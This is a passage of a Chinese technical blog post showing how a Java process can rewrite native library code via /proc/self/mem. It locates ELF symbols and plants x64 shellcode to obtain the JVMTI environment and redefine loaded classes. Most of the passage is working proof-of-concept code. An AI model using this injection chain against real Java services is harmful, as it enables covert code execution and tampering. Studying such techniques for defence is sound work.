class="code-snippet__keyword">char</span> **argv)</span> </span>{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// Map an unwritable page. (read-only)</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">auto</span> mymap =</span></code><code><span class="code-snippet_outer">      (<span class="code-snippet__keyword">int</span> *)mmap(<span class="code-snippet__literal">NULL</span>, <span class="code-snippet__number">0x9000</span>,</span></code><code><span class="code-snippet_outer">                  PROT_READ, <span class="code-snippet__comment">// &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt; READ ONLY &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;</span></span></code><code><span class="code-snippet_outer">                  MAP_PRIVATE | MAP_ANONYMOUS, <span class="code-snippet__number">-1</span>, <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> (mymap == MAP_FAILED) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">std</span>::<span class="code-snippet__built_in">cout</span> &lt;&lt; <span class="code-snippet__string">&#34;FAILED\n&#34;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">std</span>::<span class="code-snippet__built_in">cout</span> &lt;&lt; <span class="code-snippet__string">&#34;Allocated PROT_READ only memory: &#34;</span> &lt;&lt; mymap &lt;&lt; <span class="code-snippet__string">&#34;\n&#34;</span>;</span></code><code><span class="code-snippet_outer">  getchar();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// Try to write to the unwritable page.</span></span></code><code><span class="code-snippet_outer">  memwrite(mymap, <span class="code-snippet__string">&#34;\x40\x41\x41\x41&#34;</span>, <span class="code-snippet__number">4</span>);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">std</span>::<span class="code-snippet__built_in">cout</span> &lt;&lt; <span class="code-snippet__string">&#34;did mymap[0] = 0x41414140 via proc self mem..&#34;</span>;</span></code><code><span class="code-snippet_outer">  getchar();</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">std</span>::<span class="code-snippet__built_in">cout</span> &lt;&lt; <span class="code-snippet__string">&#34;mymap[0] = 0x&#34;</span> &lt;&lt; <span class="code-snippet__built_in">std</span>::hex &lt;&lt; mymap[<span class="code-snippet__number">0</span>] &lt;&lt; <span class="code-snippet__string">&#34;\n&#34;</span>;</span></code><code><span class="code-snippet_outer">  getchar();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// Try to writ to the text segment (executable code) of libc.</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">auto</span> getchar_ptr = (<span class="code-snippet__keyword">char</span> *)getchar;</span></code><code><span class="code-snippet_outer">  memwrite(getchar_ptr, <span class="code-snippet__string">&#34;\xcc&#34;</span>, <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// Run the libc function whose code we modified. If the write worked,</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// we will get a SIGTRAP when the 0xcc executes.</span></span></code><code><span class="code-snippet_outer">  getchar();</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>编译执行后，得到结果</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">root@ecs-<span class="code-snippet__number">16</span><span class="code-snippet__symbol">:~</span><span class="code-snippet__comment"># ./proc_mem_poc </span></span></code><code><span class="code-snippet_outer">Allocated PROT_READ only <span class="code-snippet__symbol">memory:</span> <span class="code-snippet__number">0x7f4390429000</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">did mymap[<span class="code-snippet__number">0</span>] = <span class="code-snippet__number">0x41414140</span> via proc <span class="code-snippet__keyword">self</span> mem..</span></code><code><span class="code-snippet_outer">mymap[<span class="code-snippet__number">0</span>] = <span class="code-snippet__number">0x41414140</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">Trace/breakpoint trap (core dumped)</span></code></pre></section><p>以上代码示例说明，Linux下进程可以通过/proc/self/mem修改自身内存，即使是只读内存也可以修改。示例代码修改了getchar函数的开头为int3，结果真的执行了。<br/> 使用Java代码读写/proc/self/mem是完全没问题的，而Java原生就有很多JNI的native方法，比如libjava.so中的</p><p>Java_java_lang_ClassLoader_registerNatives等等很多。<br/> 如果先修改Java_java_lang_ClassLoader_registerNatives的代码为我想要的，然后再主动调用ClassLoader.registerNatives，就实现了native层的任意代码执行。然后再还原代码，一切好像从未发生过！<br/> 那么关键问题就变为：如何获取</p><p>Java_java_lang_ClassLoader_registerNatives地址</p><h2><span style="font-size: 24px;"><strong>Java查找ELF导出符号</strong></span></h2><p>再次得益于LINUX下的/proc文件系统，我们可以从/proc/self/maps轻易的获取所有已加载ELF对象的基址及文件路径</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__number">7f</span>cbb8c0d000<span class="code-snippet__number">-7f</span>cbb9a95000 r-xp <span class="code-snippet__number">00000000</span> fc:<span class="code-snippet__number">01</span> <span class="code-snippet__number">1179725</span>                    /CloudResetPwdUpdateAgent/depend/jre1<span class="code-snippet__number">.8</span><span class="code-snippet__number">.0</span>_232/lib/amd64/server/libjvm.so</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">7f</span>cbb9a95000<span class="code-snippet__number">-7f</span>cbb9c95000 ---p <span class="code-snippet__number">00e88000</span> fc:<span class="code-snippet__number">01</span> <span class="code-snippet__number">1179725</span>                    /CloudResetPwdUpdateAgent/depend/jre1<span class="code-snippet__number">.8</span><span class="code-snippet__number">.0</span>_232/lib/amd64/server/libjvm.so</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">7f</span>cbb9c95000<span class="code-snippet__number">-7f</span>cbb9d33000 r--p <span class="code-snippet__number">00e88000</span> fc:<span class="code-snippet__number">01</span> <span class="code-snippet__number">1179725</span>                    /CloudResetPwdUpdateAgent/depend/jre1<span class="code-snippet__number">.8</span><span class="code-snippet__number">.0</span>_232/lib/amd64/server/libjvm.so</span></code><code><span class="code-snippet_outer"><span class="code-snippet__number">7f</span>cbb9d33000<span class="code-snippet__number">-7f</span>cbb9d5c000 rw-p <span class="code-snippet__number">00f</span>26000 fc:<span class="code-snippet__number">01</span> <span class="code-snippet__number">1179725</span>                    /CloudResetPwdUpdateAgent/depend/jre1<span class="code-snippet__number">.8</span><span class="code-snippet__number">.0</span>_232/lib/amd64/server/libjvm.so</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>那么获取导出符号就变得非常简单，直接打开ELF文件解析得到对应符号地址，然后再加上库基址即可。对于x64 ELF的实例代码如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">static</span> <span class="code-snippet__string">long find_symbol(String elfpath, String sym, long libbase) throws IOException{</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">func_ptr = 0;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">RandomAccessFile</span> <span class="code-snippet__string">fin = new RandomAccessFile(elfpath, &#34;r&#34;);</span></span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">byte[]</span> <span class="code-snippet__string">e_ident = new byte[16];</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">fin.read(e_ident);</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">short</span> <span class="code-snippet__string">e_type = Short.reverseBytes(fin.readShort());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">short</span> <span class="code-snippet__string">e_machine = Short.reverseBytes(fin.readShort());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">int</span> <span class="code-snippet__string">e_version = Integer.reverseBytes(fin.readInt());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">e_entry = Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">e_phoff = Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">e_shoff = Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">int</span> <span class="code-snippet__string">e_flags = Integer.reverseBytes(fin.readInt());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">short</span> <span class="code-snippet__string">e_ehsize = Short.reverseBytes(fin.readShort());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">short</span> <span class="code-snippet__string">e_phentsize = Short.reverseBytes(fin.readShort());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">short</span> <span class="code-snippet__string">e_phnum = Short.reverseBytes(fin.readShort());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">short</span> <span class="code-snippet__string">e_shentsize = Short.reverseBytes(fin.readShort());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">short</span> <span class="code-snippet__string">e_shnum = Short.reverseBytes(fin.readShort());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">short</span> <span class="code-snippet__string">e_shstrndx = Short.reverseBytes(fin.readShort());</span></span></code><code><span class="code-snippet_outer">            </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">int</span> <span class="code-snippet__string">sh_name = 0;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">int</span> <span class="code-snippet__string">sh_type = 0;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">sh_flags = 0;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">sh_addr = 0;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">sh_offset = 0;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">sh_size = 0;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">int</span> <span class="code-snippet__string">sh_link = 0;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">int</span> <span class="code-snippet__string">sh_info = 0;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">sh_addralign = 0;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">sh_entsize = 0;</span></span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">for(int</span> <span class="code-snippet__string">i = 0; i &lt; e_shnum; ++i) {</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">fin.seek(e_shoff</span> <span class="code-snippet__string">+ i*64);</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">sh_name</span> = <span class="code-snippet__string">Integer.reverseBytes(fin.readInt());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">sh_type</span> = <span class="code-snippet__string">Integer.reverseBytes(fin.readInt());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">sh_flags</span> = <span class="code-snippet__string">Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">sh_addr</span> = <span class="code-snippet__string">Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">sh_offset</span> = <span class="code-snippet__string">Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">sh_size</span> = <span class="code-snippet__string">Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">sh_link</span> = <span class="code-snippet__string">Integer.reverseBytes(fin.readInt());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">sh_info</span> = <span class="code-snippet__string">Integer.reverseBytes(fin.readInt());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">sh_addralign</span> = <span class="code-snippet__string">Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">sh_entsize</span> = <span class="code-snippet__string">Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">if(sh_type</span> =<span class="code-snippet__string">= SHT_DYNSYM) {</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">break;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">}</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">}</span></span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">int</span> <span class="code-snippet__string">symtab_shdr_sh_link = sh_link;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">symtab_shdr_sh_size = sh_size;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">symtab_shdr_sh_entsize = sh_entsize;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">symtab_shdr_sh_offset = sh_offset;</span></span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">fin.seek(e_shoff</span> <span class="code-snippet__string">+ symtab_shdr_sh_link * e_shentsize);</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">sh_name</span> = <span class="code-snippet__string">Integer.reverseBytes(fin.readInt());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">sh_type</span> = <span class="code-snippet__string">Integer.reverseBytes(fin.readInt());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">sh_flags</span> = <span class="code-snippet__string">Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">sh_addr</span> = <span class="code-snippet__string">Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">sh_offset</span> = <span class="code-snippet__string">Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">sh_size</span> = <span class="code-snippet__string">Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">sh_link</span> = <span class="code-snippet__string">Integer.reverseBytes(fin.readInt());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">sh_info</span> = <span class="code-snippet__string">Integer.reverseBytes(fin.readInt());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">sh_addralign</span> = <span class="code-snippet__string">Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">sh_entsize</span> = <span class="code-snippet__string">Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">symstr_shdr_sh_offset = sh_offset;</span></span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">long</span> <span class="code-snippet__string">cnt = symtab_shdr_sh_entsize &gt; 0 ? symtab_shdr_sh_size/symtab_shdr_sh_entsize : 0;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">for(long</span> <span class="code-snippet__string">i = 0; i &lt; cnt; ++i) {</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">fin.seek(symtab_shdr_sh_offset</span> <span class="code-snippet__string">+ symtab_shdr_sh_entsize*i);</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">int</span> <span class="code-snippet__string">st_name = Integer.reverseBytes(fin.readInt());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">byte</span> <span class="code-snippet__string">st_info = fin.readByte();</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">byte</span> <span class="code-snippet__string">st_other = fin.readByte();</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">short</span> <span class="code-snippet__string">st_shndx = Short.reverseBytes(fin.readShort());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">long</span> <span class="code-snippet__string">st_value = Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">long</span> <span class="code-snippet__string">st_size = Long.reverseBytes(fin.readLong());</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">if(st_value</span> =<span class="code-snippet__string">= 0</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__meta">||</span> <span class="code-snippet__string">st_name == 0</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__meta">||</span> <span class="code-snippet__string">(ELF_ST_TYPE(st_info) != STT_FUNC &amp;&amp; ELF_ST_TYPE(st_info) != STT_GNU_IFUNC))</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">{</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">continue;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">}</span></span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">fin.seek(symstr_shdr_sh_offset</span> <span class="code-snippet__string">+ st_name);</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">String</span> <span class="code-snippet__string">name = &#34;&#34;;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">byte</span> <span class="code-snippet__string">ch = 0;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">while((ch</span> = <span class="code-snippet__string">fin.readByte()) != 0)</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">{</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">name</span> <span class="code-snippet__string">+= (char)ch;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">}</span></span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">if(sym.equals(name))</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">{</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">func_ptr</span> = <span class="code-snippet__string">libbase + st_value;</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">break;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">}</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">}</span></span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">fin.close();</span></span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">return</span> <span class="code-snippet__string">func_ptr;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">}</span></span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><h2><span style="font-size: 24px;"><strong>最后的步骤</strong></span></h2><p>为了能从native层得到返回值到java层，我们需要找一个返回值为long的native方法，把shellcode植入到它的开头。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> * <span class="code-snippet__title">shellcode</span><span class="code-snippet__params">()</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">JavaVM_</span> * <span class="code-snippet__title">vm</span>;</span></span></code><code><span class="code-snippet_outer">    jsize count;</span></code><code><span class="code-snippet_outer">    JNI_GetCreatedJavaVMs(&amp;vm, <span class="code-snippet__number">1</span>, &amp;count);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">jvmtiEnv_</span> * _<span class="code-snippet__title">jvmti_env</span>;</span> </span></code><code><span class="code-snippet_outer">    vm-&gt;functions-&gt;GetEnv(vm, (<span class="code-snippet__keyword">void</span> **)&amp;_jvmti_env, JVMTI_VERSION_1_2);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> _jvmti_env;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>转换为shellcode</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">movabs</span>  <span class="code-snippet__string">rax, _JNI_GetCreatedJavaVMs</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">sub</span>     <span class="code-snippet__string">rsp, 20h</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">xor</span>     <span class="code-snippet__string">rsi, rsi</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">inc</span>     <span class="code-snippet__string">rsi</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">lea</span>     <span class="code-snippet__string">rdx, [rsp+4]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">lea</span>     <span class="code-snippet__string">rdi, [rsp+8]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">call</span>    <span class="code-snippet__string">rax</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">mov</span>     <span class="code-snippet__string">rdi, [rsp+8]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">lea</span>     <span class="code-snippet__string">rsi, [rsp+10h]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">mov</span>     <span class="code-snippet__string">edx, 30010200h</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">mov</span>     <span class="code-snippet__string">rax, [rdi]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">call</span>    <span class="code-snippet__string">qword ptr [rax+30h]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">mov</span>     <span class="code-snippet__string">rax, [rsp+10h]</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">add</span>     <span class="code-snippet__string">rsp, 20h</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">ret</span></span></code></pre></section><p>后来我选择了libjava.so中的Java_java_io_RandomAccessFile_length。使用unsafe申请一段内存，并在偏移8（x64下指针长度为8）的位置上放置jvmtienv指针</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">long</span> JPLISAgent = <span class="code-snippet__keyword">unsafe</span>.allocateMemory(<span class="code-snippet__number">0x1000</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">unsafe</span>.putLong(JPLISAgent + <span class="code-snippet__number">8</span>, native_jvmtienv);</span></code></pre></section><p>再通过反射最终得到InstrumentationImpl对象</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">    Class&lt;?&gt; instrument_clazz = Class.forName(<span class="code-snippet__string">&#34;sun.instrument.InstrumentationImpl&#34;</span>);</span></code><code><span class="code-snippet_outer">    Constructor&lt;?&gt; <span class="code-snippet__keyword">constructor</span> = instrument_clazz.getDeclaredConstructor(<span class="code-snippet__params">long.<span class="code-snippet__keyword">class</span>, <span class="code-snippet__built_in">boolean</span>.<span class="code-snippet__keyword">class</span>, <span class="code-snippet__built_in">boolean</span>.<span class="code-snippet__keyword">class</span></span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">constructor</span>.setAccessible(<span class="code-snippet__params"><span class="code-snippet__literal">true</span></span>);</span></code><code><span class="code-snippet_outer">    Object insn = <span class="code-snippet__keyword">constructor</span>.newInstance(<span class="code-snippet__params">JPLISAgent, <span class="code-snippet__literal">true</span>, <span class="code-snippet__literal">false</span></span>);</span></code><code><span class="code-snippet_outer">    Method getAllLoadedClasses = instrument_clazz.getMethod(<span class="code-snippet__params">&#34;getAllLoadedClasses&#34;</span>);</span></code><code><span class="code-snippet_outer">    Class&lt;?&gt;[] clazzes = (<span class="code-snippet__params">Class&lt;?&gt;[]</span>) getAllLoadedClasses.invoke(<span class="code-snippet__params">insn</span>);</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    for(<span class="code-snippet__params">Class&lt;?&gt; cls : clazzes</span>) {</span></code><code><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__params">cls.getName()</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">}catch(<span class="code-snippet__params">Exception e</span>) {</span></code><code><span class="code-snippet_outer">    System.out.println(<span class="code-snippet__params">&#34;Exception: &#34; + e.getMessage()</span>);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>需要注意的是，在Java11中sun.instrument包已不再可引用。这里已经可以获取所有加载的类。</p><h2><span style="font-size: 24px;"><strong>意外</strong></span></h2><p>在正确查找得到jvmtienv指针之后，执行redefineClasses会报异常</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">Java_java_io_RandomAccessFile_length</span> <span class="code-snippet__string">0x7fb29c485e40</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">JNI_GetCreatedJavaVMs</span> <span class="code-snippet__string">0x7fb29d52b650</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">native_jvmtienv</span> <span class="code-snippet__string">7fb2980ef070</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Exception</span>:<span class="code-snippet__string"> null</span></span></code></pre></section><p>使用调试工具跟踪，在函数redefineClasses中会调用</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer"><span class="code-snippet__title">redefineClasses</span><span class="code-snippet__params">(JNIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions)</span> </span>{</span></code><code><span class="code-snippet_outer">    jvmtiEnv*   jvmtienv                        = jvmti(agent);</span></code><code><span class="code-snippet_outer">    jboolean    errorOccurred                   = JNI_FALSE;</span></code><code><span class="code-snippet_outer">    jclass      classDefClass                   = <span class="code-snippet__literal">NULL</span>;</span></code><code><span class="code-snippet_outer">    jmethodID   getDefinitionClassMethodID      = <span class="code-snippet__literal">NULL</span>;</span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (!errorOccurred) {</span></code><code><span class="code-snippet_outer">                    jvmtiError  errorCode = JVMTI_ERROR_NONE;</span></code><code><span class="code-snippet_outer">                    errorCode = (*jvmtienv)-&gt;RedefineClasses(jvmtienv, numDefs, classDefs);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (errorCode == JVMTI_ERROR_WRONG_PHASE) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__comment">/* insulate caller from the wrong phase error */</span></span></code><code><span class="code-snippet_outer">                        errorCode = JVMTI_ERROR_NONE;</span></code><code><span 